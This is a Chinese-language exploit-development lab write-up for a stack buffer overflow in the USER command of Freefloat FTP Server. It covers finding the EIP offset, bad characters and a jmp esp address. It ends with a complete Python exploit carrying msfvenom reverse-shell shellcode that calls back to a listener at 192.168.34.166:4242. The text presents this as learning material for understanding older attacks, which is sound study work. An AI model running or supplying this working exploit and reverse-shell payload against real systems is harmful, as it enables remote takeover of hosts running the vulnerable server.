1、介绍
此次实验为windows下的缓冲区溢出漏洞。Freefloat FTP Sever漏洞利用,在此处下载得到漏洞文件。
2、实验环境
WIN7
Kali
使用桥接连接网络,使两台机子互通
- 安装 Immunity Debugger
- mona.py
- 漏洞程序Freefloat FTP Server
3、开发利用
载入程序
打开 Immunity Debugger,选择 File - Open - ftpserver.exe
在程序载入后右下角显示暂停,接下来要通过调试器运行按F9就可以了
3.2、连接到 FTP 服务器
该程序在登录到FTP服务器时,容易受到"USER"参数中缓冲区溢出漏洞的影响。
连接登陆的用户名变量保存在缓冲区时未得到验证,则就可能会发生溢出。当发送比程序预期更多的数据时,存储在栈上后,将溢出到相邻的内存空间,会覆盖相邻内存中的数据。
3.3、崩溃服务器
编写脚本发送500个A到服务器
此时程序状态如下图
EIP被覆盖了
3.4、测试准确的偏移值
首先,使用 msf-pattern_create -l 900生成填充的垃圾字符(需要比第一次测试的数值加400)
将生成的字符填入脚本中
脚本发送完毕后,EIP如下
EIP变为 37684136
计算得到偏移为230
3.5、验证偏移值
F2重新载入程序,F9运行
发送准确的偏移值,以及BBBB
验证EIP是否可以控制,如果成功那么EIP将会覆盖为BBBB
验证
3.6、寻找坏字符
使用 mona 生成坏字符序列(0x00 - 0xFF)
其中 x00可以首先排除
当在脚本中删除 x0a 后,F2重新载入程序,F9运行,发送更改后的脚本
此时序列会按照顺序填入,由此本程序的利用脚本中的坏字符已全部找到(x00x0a)
3.7、寻找 jmp esp
右键 - Search for - All Command in all modules
返回
选用 ntdll.dll中的 jmp esp
填入顺序需要注意,如果找到 x01x02x03x04这样的,在脚本中就需要填写x04x03x02x01
3.8、生成shellcode
最后一步使用 msfvenom 生成shellcode用于反弹shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.34.166 LPORT=4242 -b "x00x0a" -f python -v buf
最终脚本
import socket
ip = "192.168.34.152"
port = 21
print("[+] Connecting to target")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
padding = 230
junk1 = b"A" * padding
retn = b"\x9D\xDC\xEB\x7D"
junk2 = b"\x90" * 16 # 填充 NOP
buf = b""
buf += b"\xb8\x41\xf0\x46\xcb\xdb\xd6\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x83\xef\xfc\x31\x47\x0e\x03\x06\xfe\xa4"
buf += b"\x3e\x74\x16\xaa\xc1\x84\xe7\xcb\x48\x61\xd6\xcb\x2f"
buf += b"\xe2\x49\xfc\x24\xa6\x65\x77\x68\x52\xfd\xf5\xa5\x55"
buf += b"\xb6\xb0\x93\x58\x47\xe8\xe0\xfb\xcb\xf3\x34\xdb\xf2"
buf += b"\x3b\x49\x1a\x32\x21\xa0\x4e\xeb\x2d\x17\x7e\x98\x78"
buf += b"\xa4\xf5\xd2\x6d\xac\xea\xa3\x8c\x9d\xbd\xb8\xd6\x3d"
buf += b"\x3c\x6c\x63\x74\x26\x71\x4e\xce\xdd\x41\x24\xd1\x37"
buf += b"\x98\xc5\x7e\x76\x14\x34\x7e\xbf\x93\xa7\xf5\xc9\xe7"
buf += b"\x5a\x0e\x0e\x95\x80\x9b\x94\x3d\x42\x3b\x70\xbf\x87"
buf += b"\xda\xf3\xb3\x6c\xa8\x5b\xd0\x73\x7d\xd0\xec\xf8\x80"
buf += b"\x36\x65\xba\xa6\x92\x2d\x18\xc6\x83\x8b\xcf\xf7\xd3"
buf += b"\x73\xaf\x5d\x98\x9e\xa4\xef\xc3\xf6\x09\xc2\xfb\x06"
buf += b"\x06\x55\x88\x34\x89\xcd\x06\x75\x42\xc8\xd1\x7a\x79"
buf += b"\xac\x4d\x85\x82\xcd\x44\x42\xd6\x9d\xfe\x63\x57\x76"
buf += b"\xfe\x8c\x82\xd9\xae\x22\x7d\x9a\x1e\x83\x2d\x72\x74"
buf += b"\x0c\x11\x62\x77\xc6\x3a\x09\x82\x81\x84\x66\xae\xf7"
buf += b"\x6d\x75\xae\xe7\xff\xf0\x48\x6d\x10\x55\xc3\x1a\x89"
buf += b"\xfc\x9f\xbb\x56\x2b\xda\xfc\xdd\xd8\x1b\xb2\x15\x94"
buf += b"\x0f\x23\xd6\xe3\x6d\xe2\xe9\xd9\x19\x68\x7b\x86\xd9"
buf += b"\xe7\x60\x11\x8e\xa0\x57\x68\x5a\x5d\xc1\xc2\x78\x9c"
buf += b"\x97\x2d\x38\x7b\x64\xb3\xc1\x0e\xd0\x97\xd1\xd6\xd9"
buf += b"\x93\x85\x86\x8f\x4d\x73\x61\x66\x3c\x2d\x3b\xd5\x96"
buf += b"\xb9\xba\x15\x29\xbf\xc2\x73\xdf\x5f\x72\x2a\xa6\x60"
buf += b"\xbb\xba\x2e\x19\xa1\x5a\xd0\xf0\x61\x6a\x9b\x58\xc3"
buf += b"\xe3\x42\x09\x51\x6e\x75\xe4\x96\x97\xf6\x0c\x67\x6c"
buf += b"\xe6\x65\x62\x28\xa0\x96\x1e\x21\x45\x98\x8d\x42\x4c"
username = junk1 + retn + junk2 + buf
password = b"hacker"
print("[+] Sending Credentials.")
s.send(b"USER " + username + b"\r\n")
print(s.recv(1024))
s.send(b"PASS " + password + b"\r\n")
print(s.recv(1024))
print("[+] Done!")
s.close()
得到shell
4、总结
1、寻找偏移,验证是否能覆盖EIP
2、寻找坏字符(如 x00、x0a、0x0b)
3、寻找 JMP ESP
4、填充 x90布置栈环境
5、使用 msfvenom生成shellcode
6、建立监听 (nc)
7、运行攻击脚本
最后
现代操作系统和硬件已利用缓解方案来阻止此类堆栈溢出攻击。这十年来一直是一场猫捉老鼠的游戏,处理器制造商和操作系统工程师改进加强了防御方案,而安全研究员则对这种解决方案进行逆向工程。
但是,对于任何漏洞利用开发,了解并刨析先前的攻击的人来说,能够研究当前的漏洞并提供更好的化解措施方案仍然很重要。
Exploit-db上的脚本